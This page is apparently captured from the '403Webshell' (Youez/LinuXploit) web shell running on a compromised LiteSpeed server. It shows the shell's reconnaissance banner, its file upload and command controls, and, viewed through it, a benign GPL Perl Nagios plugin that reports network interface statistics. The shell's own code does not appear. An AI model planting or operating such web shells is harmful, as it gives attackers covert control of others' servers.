403Webshell
Server IP : 172.64.80.1  /  Your IP : 216.73.216.175
Web Server : LiteSpeed
System : Linux srv13.swhc.ca 4.18.0-553.126.2.lve.el8.x86_64 #1 SMP Thu May 28 14:12:30 UTC 2026 x86_64
User : hongluck ( 2522)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib64/nagios/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/nagios/plugins/check_network_stats
#!/usr/bin/perl -w

#Libraries to use
use lib "/usr/lib/perl5/5.8.8/";
use lib "/usr/lib/perl5/5.8.8/Getopt/";

use strict;
use Getopt::Std;

our ($opt_h);

my @ointerfaces;
my @tinterfaces;
my $RX_BPS;
my $RX_PPS;
my $RX_EPS;
my $RX_MPS;
my $TX_BPS;
my $TX_PPS;
my $TX_EPS;
my $interfacename;
my $opt_t = "/var/lib/icinga2/network_statistics2.tmp";
my $longoutput = "Service check collects network statistics and returns OK|";
my $currenttime;
my $lastchecktime;
my $deltatime;
my $commandstring;
        getopts('h');

## Display Help
if ($opt_h){
        print "::Network Statistics Instructions::\n\n";
        print " -h,             Display this help information\n";
#	print " -t,             Path to store the pervious check results\n";
#	print "			 used to calculate deltas.\n";
	print "                 Writes temporary data to $opt_t\n";
        print "Script written by Noah Guttman and Copyright (C) 2014 Noah Guttman.\n";
        print "This script is released and distributed under the terms of the GNU\n";
        print "General Public License.     >>>>    http://www.gnu.org/licenses/\n";
        print "";
        print "This program is free software: you can redistribute it and/or modify\n";
        print "it under the terms of the GNU General Public License as published by\n";
        print "the Free Software Foundation.\n\n";
        print "This program is distributed in the hope that it will be useful,\n";
        print "but WITHOUT ANY WARRANTY; without even the implied warranty of\n";
        print "MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n";
        print "GNU General Public License for more details.\n";
        print ">>>>    http://www.gnu.org/licenses/\n";
        exit 0;
}


#First we get the current time
$currenttime = time();
#Second we need to check if there is history file in /tmp/.If so then we pull in the data
if (-e "$opt_t"){
	$lastchecktime = (`cat $opt_t |grep time |awk \'{print \$2}\'`);
	chomp ($lastchecktime);
	$deltatime=($currenttime - $lastchecktime);
	@ointerfaces= (`cat $opt_t`);
}else{
	print ("First time running test - Results will be available starting next test\n");
	
#We need to pull the data and write it to the tmp file.

#	exit 0;
}
## Now we pull the current data and write it to the tmp file. 
#we check is each stat exists before we pull it.

	@tinterfaces= (`cat /proc/net/dev |grep : |awk -F : \'{print \$1" "\$2}\'|awk \'{print \$1" "\$2" "\$3" "\$4" "\$9" "\$10" "\$11" "\$12}\'`);

## Next we write the data to the tmp file
$commandstring = ("/bin/echo \'time $currenttime\' \> $opt_t");
system ($commandstring);
$commandstring = ("cat /proc/net/dev |grep :|awk -F : \'{print \$1\" \"\$2}\'|awk \'{print \$1\" \"\$2\" \"\$3\" \"\$4\" \"\$9\" \"\$10\" \"\$11\" \"\$12}\' \>\> $opt_t");
#print ("$commandstring\n");
system ($commandstring);


##Here goes the math
foreach my $interface (@tinterfaces){
	foreach my $oldinterface (@ointerfaces){
		if (((split(" ",$interface))[0]) eq ((split(" ",$oldinterface))[0])){
			$interfacename = (split(" ",$interface))[0];
			$RX_BPS = ((split(" ",$interface))[1] - (split(" ",$oldinterface))[1]) / $deltatime;
                        $RX_PPS = ((split(" ",$interface))[2] - (split(" ",$oldinterface))[2]) / $deltatime;
                        $RX_EPS = ((split(" ",$interface))[3] - (split(" ",$oldinterface))[3]) / $deltatime;
                        $RX_MPS = ((split(" ",$interface))[4] - (split(" ",$oldinterface))[4]) / $deltatime;
                        $TX_BPS = ((split(" ",$interface))[5] - (split(" ",$oldinterface))[5]) / $deltatime;
                        $TX_PPS = ((split(" ",$interface))[6] - (split(" ",$oldinterface))[6]) / $deltatime;
                        $TX_EPS = ((split(" ",$interface))[7] - (split(" ",$oldinterface))[7]) / $deltatime;

			$longoutput = $longoutput .$interfacename."_RX_BPS"."=$RX_BPS"."B;; ";
                        $longoutput = $longoutput .$interfacename."_RX_PPS"."=$RX_PPS;; ";
                        $longoutput = $longoutput .$interfacename."_RX_EPS"."=$RX_EPS;; ";
                        $longoutput = $longoutput .$interfacename."_RX_MPS"."=$RX_MPS;; ";
                        $longoutput = $longoutput .$interfacename."_TX_BPS"."=$TX_BPS"."B;; ";
                        $longoutput = $longoutput .$interfacename."_TX_PPS"."=$TX_PPS;; ";
                        $longoutput = $longoutput .$interfacename."_TX_EPS"."=$TX_EPS;; ";
		}
	}
	
}

print ("$longoutput\n");
exit 0;

Youez - 2016 - github.com/yon3zu
LinuXploit